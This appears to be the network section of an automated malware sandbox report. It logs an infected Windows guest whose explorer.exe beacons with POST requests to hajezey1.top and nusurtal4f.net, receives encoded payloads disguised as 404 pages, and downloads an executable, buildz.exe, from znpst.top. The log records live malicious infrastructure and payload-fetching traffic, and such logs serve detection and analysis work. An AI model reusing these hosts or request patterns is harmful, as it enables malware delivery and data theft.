44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.6 49835 162.159.134.233 443 C:\Users\user\AppData\Local\Temp\60DF.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

40 192.168.2.6 49847 185.98.87.159 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:44.767307997 CEST

9667 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://xjjqkp.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 185
Host: hajezey1.top

Oct 29, 2021 
17:55:44.848372936 CEST

9668 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

41 192.168.2.6 49848 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:45.057451010 CEST

9669 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://sqgxbwy.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 218
Host: hajezey1.top

Oct 29, 2021 
17:55:45.135441065 CEST

9670 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

42 192.168.2.6 49849 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:45.260617018 CEST

9670 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://yvrtx.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 146
Host: hajezey1.top
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Oct 29, 2021 
17:55:45.343466043 CEST

9671 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

43 192.168.2.6 49850 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:45.458841085 CEST

9672 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://vyivfmetg.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235
Host: hajezey1.top

Oct 29, 2021 
17:55:45.539212942 CEST

9673 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

44 192.168.2.6 49851 185.98.87.159 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:55:45.640563965 CEST

9674 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://wdgyfowqds.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 211
Host: hajezey1.top
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Oct 29, 2021 
17:55:45.718061924 CEST

9675 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:55:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

45 192.168.2.6 49856 45.141.84.21 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:56:04.768992901 CEST

10596 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://nusurtal4f.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 334
Host: nusurtal4f.net

Oct 29, 2021 
17:56:04.940594912 CEST

10597 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:56:04 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 7
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Data Raw: 03 00 00 00 1d 3d 5d 
Data Ascii: =]

Oct 29, 2021 
17:56:04.947161913 CEST

10597 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://nusurtal4f.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 205
Host: nusurtal4f.net

Oct 29, 2021 
17:56:05.113419056 CEST

10598 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:56:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 42
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 
7e c2 5d 31 0e 
Data Ascii: Uys/~(`:@f&["j~]1

Oct 29, 2021 
17:56:10.281486988 CEST

11512 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://nusurtal4f.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 218
Host: nusurtal4f.net
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Oct 29, 2021 
17:56:10.454312086 CEST

11519 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:56:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 327
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 
6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 
6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 
74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 
6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 
79 3e 3c 2f 68 74 6d 6c 3e 
Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found 
error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Oct 29, 2021 
17:56:10.470738888 CEST

11519 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://nusurtal4f.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 279
Host: nusurtal4f.net

Oct 29, 2021 
17:56:10.649597883 CEST

11522 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 29 Oct 2021 15:56:10 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 
4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 
06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 
6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 
1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd 
d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 
56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 4d 9c 94 1b 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 
24 a6 4d c5 03 97 65 a3 61 7e de f5 36 9c 19 17 7e 4f af 9a a5 84 cb a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 
be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 31 70 48 9a 07 fd ec 3f 36 7f ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 
6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 c5 52 ce 4f 13 79 82 ae 9c f7 ad 4e 3d 79 ac f3 57 3b 2a b9 72 
ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 10 d3 fb 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 
15 ac af eb d9 55 3d af ba 68 02 ed fd 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 44 40 40 07 9a c7 9b 84 e7 3d 66 f1 8a 
64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 40 22 b5 1b 6f d3 cb 29 32 86 e5 5b 1e 50 
ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 5f a0 1f e4 a6 bd 12 9f 10 ff d9 b0 99 b5 9b 
8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb d1 46 bb 2a d2 be 45 1f d0 b5 aa 7a 8f 0e 69 
e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b3 88 7d 3f dc e5 7e 3f a4 70 d4 03 bb 03 9a 76 6a 0f ca 82 c3 26 
2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 70 10 7b 3a 1d f8 08 85 af 88 c1 a4 0e 31 25 4d db a9 c3 f8 cb 2f 
cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 
07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f 
d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 
16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 
cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 
e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 
9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 
2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 
3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d c6 29 07 b5 71 c3 e9 f8 36 
79 24 5b 95 1a a0 ff 51 1a ad fe 25 5f a3 01 3f d0 1c e1 0f 1e d9 d1 10 ab 37 30 4b b2 96 56 6f d2 eb 06 3d 48 d1 9d 2c 
12 c2 ed 3c aa 37 9d ca d3 81 a1 8c 63 cb b9 d8 cd 22 2a 42 3e 7a 1a 49 8e 05 0a 11 28 e7 67 f0 6a b0 f3 68 55 ab 45 7f 
0e 29 f9 87 35 5e 25 8d 01 7a 20 73 e6 b3 
Data Ascii: 1f42`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)|p|t]ShG*j*T05sq733hsE|WD<P5Q"f=(*jC\S
MUdT[Up"XJ3Ob>!Z:V?#BSSQW+M~ExU$$Mea~6~OzN.%Qa?|(Hk1pH?6/MF$l#l)l~qhJROyN=yW;*r#u1yr+L1<'i
3FHU=h?U@Wd{9f(D@@=fd0QpKk1*:TU@"o)2[P&}WL\h[bX?_tyPmCbzJF*Ezi7 R:Vc}?~?pvj&.5)C'p{:1%M/#w
NYRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9*nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$t
li#72x~f5Q&re??f`;Gd-0c=)q6y$[Q%_?70KVo=H,<7c"*B>zI(gjhUE)5^%z s

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

46 192.168.2.6 49857 5.163.179.4 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Oct 29, 2021 
17:56:05.582315922 CEST

10599 OUT GET /dl/buildz.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: znpst.top
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Oct 29, 2021 
17:56:05.942719936 CEST

10600 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:56:05 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.6.40
Last-Modified: Fri, 29 Oct 2021 15:50:01 GMT
ETag: "d6400-5cf7fc7b02802"
Accept-Ranges: bytes
Content-Length: 877568
Connection: close
Content-Type: application/octet-stream
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c 
cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 
2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 
